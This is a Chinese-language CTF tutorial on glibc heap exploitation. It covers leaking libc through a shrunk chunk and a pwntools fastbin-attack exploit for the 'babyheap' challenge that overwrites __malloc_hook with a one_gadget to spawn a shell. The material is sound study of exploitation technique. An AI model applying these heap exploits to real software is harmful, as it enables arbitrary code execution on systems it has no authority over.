漏洞原型

(1)通过shrink the chunk来leak libc地址

shrink the chunk demo 代码,在libc 2.19版本下能够利用成功,libc 2.23加入了对size的校验,引入的补丁:

https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

In newer versions of glibc we will need to have our updated size inside b itself to pass the check ‘chunksize(P) != prev_size (next_chunk(P))’

所以由于null覆盖,当前chunk为free状态,在大于2.19版本中需要在next chunk中伪造pre_size。

#include <stdlib.h>
#include <stdio.h>

int main()
{
    int i = 0;
    char data[100];
    memset(data,'\x00',sizeof(data));
    char *A = malloc(0x30);
    char *B = malloc(0x160);
    char *C = malloc(0xf0);

    puts("input:");
    char *num;
    read(0, num, 1);

    free(B);
    free(A);

    malloc(0x38);

    while(i < 0x38)
        data[i++] = 'a';
    data[i] = '\x00';

    memcpy(A,data,0x39);

    malloc(0x80);

    malloc(0x30);

    free(B);

    free(C);

    char *D = malloc(0x260);

    printf("info_leak_libc:%p\n",*(unsigned long *)(D+0x90));

    return 0;
}

调试脚本:

from pwn_debug.pwn_debug import *
context.log_level = 'debug'

pdbg = pwn_debug("./shrink_chunk_demo")
pdbg.debug("2.19")
p = pdbg.run("debug")

p.recvuntil("input:")
gdb.attach(p)
p.sendline("5")
p.interactive()

泄露信息libc 地址的对布局过程:

image

泄露出来的只是main_arena+x的地址,而main_arena的地址位于__malloc_hook+0x10的地方,所以
main_arena_offset = __malloc_hook_offset+0x10
x = leak_address - (__malloc_hook_address+0x10) libc_base_address = leak_address - (x + main_arena_offset)

最后只要求出泄露出来的地址和libc基地址的偏移就行:
offset = leak_address - __malloc_hook_address + __malloc_hook_offset

计算 main_arena的偏移有个工具可以使用: https://github.com/Escapingbug/get_main_arena

(2)通过fastbin attack修改程序流程

atbitrary alloc demo代码:

int main(void)
{


    void *chunk1;
    void *chunk_a;

    chunk1=malloc(0x60);

    free(chunk1);

    *(long long *)chunk1=0x7ffff7dd1b05;
    malloc(0x60);
    chunk_a=malloc(0x60);
    return 0;
}

exp代码

from pwn import *

#context.terminal = ['tmux', 'splitw', '-h']

context.log_level = 'debug'

def Allocate(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size:")
    p.sendline(str(size))
#    index = p.recvuntil("1. Allocate").split(' ')[3].split('\n')[0]
    index =1
    return index

def Fill(index,size,content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index:")
    p.sendline(str(index))
    p.recvuntil("Size:")
    p.sendline(str(size))
    p.recvuntil("Content:")
    p.sendline(content)



def Free(index):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index:")
    p.sendline(str(index))

def Dump(index):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index:")
    p.sendline(str(index))
    p.recvuntil("Content: \n")
    data = p.recvline()
    return data

def Exit():
    pass


if __name__=='__main__':

    env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6_b86ec517ee44b2d6c03096e0518c72a1")}

    p = process("./babyheap",env=env)
#    libc = ELF("./libc.so.6.my")
    libc = ELF("./libc.so.6_b86ec517ee44b2d6c03096e0518c72a1")
    libc.symbols['one_gadget'] = 0x41374
    libc_offset = 0x3a5678
 
    index0 = Allocate(16)
    index1 = Allocate(480)
    index2 = Allocate(512)
    index3 = Allocate(512)

    #gdb.attach(p)
    Free(1)

    payload = 'a'*24 + '\x30'
    Fill(0,25,payload)

    index4 = Allocate(128) #index:1
    index5 = Allocate(96) #index:4

    Free(1)
    Free(2)

    Allocate(128) #index:1
    data = Dump(4)
    data = u64(data[:8])
    print hex(data)
    libc.address = data - libc_offset
	
    payload = 'b'*0x80+p64(0x90)+p64(0x70)
    #payload = flat('b'*0x80,0x90,0x70)
    Fill(1,len(payload),payload)
    Free(4) #释放了0x70的堆块
     
  
    payload = 'c'*0x80+p64(0x90)+p64(0x70)
    payload += p64(libc.symbols['__malloc_hook']-0x23)

    #错位构造出一个0x000000000000007f

    Fill(1,len(payload),payload); #修改0x70的堆块的fd值
    Allocate(96) #index:2 重新申请到0x70的堆块,此时calloc会擦除fd和bk的数据,但是之前的fd会被保存在main_arena上
    Allocate(96) #index:4 根据伪造的fd地址,申请到__malloc_hook-0x23的位置

    gdb.attach(p)

    payload = 'd'*19 + p64(libc.symbols['one_gadget'])#覆盖__malloc_hook为/bin/sh的地址,0x23 -0x10(header)= 0x13 = 19,所以覆盖19个'd'后,再覆盖就是__malloc_hook的地址了。
    Fill(4,len(payload),payload)

    Allocate(96)
    p.interactive()

最后更改malloc_hook最后调用/bin/sh了,这里还有一个工具,用来找libc里的magic gadget,也就是将控制流放到这就能调用/bin/sh而不用考虑参数的问题的:
https://github.com/david942j/one_gadget/tree/master/spec

参考链接

https://ctf-wiki.github.io/ctf-wiki/pwn/heap/fastbin_attack.html

https://poning.me/2017/03/24/baby-heap-2017/

https://github.com/david942j/one_gadget